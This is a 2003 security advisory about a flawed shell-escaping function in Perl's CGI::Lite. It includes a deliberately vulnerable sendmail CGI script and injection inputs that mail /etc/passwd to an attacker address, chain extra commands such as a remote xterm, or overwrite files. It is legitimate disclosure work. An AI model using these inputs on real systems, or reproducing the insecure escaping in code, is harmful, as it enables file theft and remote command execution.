12th Feb 2003 [SBWID-5986]
COMMAND
	CGI::Lite::escape_dangerous_chars() permits remote compromise
SYSTEMS AFFECTED
	CGI::Lite 2.0 package, and earlier revisions
PROBLEM
	In Ronald F. Guilmette [[email protected]] advisory :
	--snip--
	Although  poorly  documented,  the   CGI::Lite::escape_dangerous_chars()
	function appears to be a function whose purpose is to  modify  an  input
	character string in a way so that ``dangerous'' characters  which  might
	otherwise have special  significance  to  an  underlying  shell  command
	processor will each be preceded by a  backslash  (escape)  character  in
	the resulting output string. The intent is clearly to  convert  possibly
	dangerous user input strings into benign forms that,  when  provided  as
	command line arguments to an underlying shell  command  processor,  will
	not have any undesirable and/or unanticipated  effects.  (The  classical
	example is the semi- colon character, which acts as a command  separator
	for most UNIX and/or Linux shell command processors.)
	It is reasonable  to  believe  that  CGI::Lite::escape_dangerous_chars()
	has, in all probability,  been  used  for  exactly  this  purpose  (i.e.
	rendering user input strings ``harmless''  in  advance  of  their  being
	provided, as arguments,  to  an  underlying  shell  processor)  in  many
	existing Perl CGI scripts.
	Unfortunately, CGI::Lite::escape_dangerous_chars() fails to escape  many
	of the characters mentioned as possibly dangerous characters in the  WWW
	security FAQ (Question 7), specifically:
	
		\  -  backslash
		?  -  question mark
		~  -  tilde
		^  -  carat
		\n -  newline
		\r -  carriage return
	
	Note that all or most of these  character  _do_  in  fact  have  special
	meaning, when presented as parts of command line  arguments  to  various
	UNIX and/or Linux shell command processors (and, I suspect, probably  MS
	Windows shell command  line  processors  also).  Below  is  a  trivially
	simple example of how  this  security  flaw  can  cause  a  problem,  in
	practice:
	
	=====================================================================
	        #!/usr/bin/perl -w
		use strict;
	        use CGI::Lite;
		my $cgi = new CGI::Lite;
	        my %form = $cgi->parse_form_data;
	        my $recipient = $form{'recipient'};
		my $message = "From: sender\nSubject: Hello\n\nHello my friend!\n\n";
		$recipient = escape_dangerous_chars ($recipient);
		open (SM, "|/usr/sbin/sendmail -f rfg $recipient");
	        print SM $message;
	        close SM;
		print "Content-Type: text/html\n\n";
	        print "<HTML>\n";
	        print "<HEAD></HEAD>\n";
	        print "<BODY>\n";
	        print "Thank you.  Your request has been processed\n";
	        print "</BODY>\n";
	        print "</HTML>\n";
	=====================================================================
	
	The Perl CGI script above might be constructed to act  as  the  back-end
	(CGI) handler for a simple web page that allows a web visitor  to  enter
	his/her e-mail address into a  text  field  on  the  form,  and  thereby
	trigger  the  automated  sending  of  some  pre-canned  (or  dynamically
	computed) e-mail message to the user-supplied e-mail address.
	Note that the escape_dangerous_chars function is  used  to  ``sanitize''
	the user-supplied input string before it is used as an argument  to  the
	Perl open function.
	Unfortunately, the fact that escape_dangerous_chars  fails  to  properly
	backslash-escape any backslash characters contained in its input  string
	has very serious security consequences for the simple CGI  script  shown
	above.  Consider what would happen if a web visitor entered the string:
	
	   [email protected] \</etc/passwd
	
	Note that after escape_dangerous_chars is applied to  this  user  input,
	the resulting string will be
	
	   [email protected] \\</etc/passwd
	
	and that exact string will be passed to  the  underlying  shell  command
	processor via the Perl open call.
	The unfortunate result of this sequence of events would be that  a  copy
	of   the   local   password   file   would   be   e-mailed,   both    to
	<[email protected]>   and   also   to   the   (almost    certainly
	non-existent) local user whose user-id is a single backslash  character.
	(Most UNIX/Linux shells will see the \\ as  a  single  backslash-escaped
	backslash character.  That  single  backslash  character  will  then  be
	treated as being just another member of the list of  destination  e-mail
	addresses for the outgoing e-mail message by sendmail.)
	In this example, the account, if any, to which e-mail addresses  to  the
	(non-existent?) local user-id '\' is directed will vary, depending  upon
	whether one is using ``real'' Sendmail or, as I do, a mostly  compatible
	Sendmail clone (Postfix). It may also depend, of course, on how  exactly
	the local mail server has been configured.  E-mail  sent  to  the  local
	user '\' may  in  some  cases  be  automatically  re-  directed  to  the
	`nobody' account, which is to say to /dev/null, in which case  no  local
	user or administrator would have any  idea  that  anything  untoward  or
	undesirable had even taken place.
	Regardless of where  the  _second_  copy  of  the  e-mail  message  goes
	however, the damage has already been  done...  <[email protected]>
	_will_ be e-mailed a copy of the local password  file...  or  any  other
	attacker-selected file residing on the exploited system.
	Other similar (but perhaps even more damaging)  kinds  of  exploits  are
	also possible, for example:
	
	   [email protected]\|other-command
	
	or perhaps:
	
	   [email protected]\;other-command
	
	where `other-command' is `xterm' followed by a set of  arguments  needed
	to start up a  remotely-accessible  xterm  window.  Also,  depending  on
	permissions, local files on the exploited machine could  be  created  or
	overwritten, e.g. via:
	
	   [email protected]\>/tmp/new-file
	   [email protected]\>/tmp/unprotected-file
	
SOLUTION
	One  possible  fix  for  this  problem  is  simple  and   obvious.   The
	escape_dangerous_chars could  be  hacked  to  include,  in  the  set  of
	characters that it  will  escape,  the  backslash  character  and  other
	special characters from the complete set of ``dangerous'' characters  as
	documented in the WWW Security FAQ. (A patch which effects  this  change
	is available from the author of this advisory upon request.)
	The advisability of this specific  ``quick  and  dirty''  fix  has  been
	questioned by multiple parties however. (Some say that it  would  better
	to list the set of characters which are safe to  NOT  escape,  and  then
	just have the function escape  every  character  that  is  NOT  in  that
	``safe'' character set.)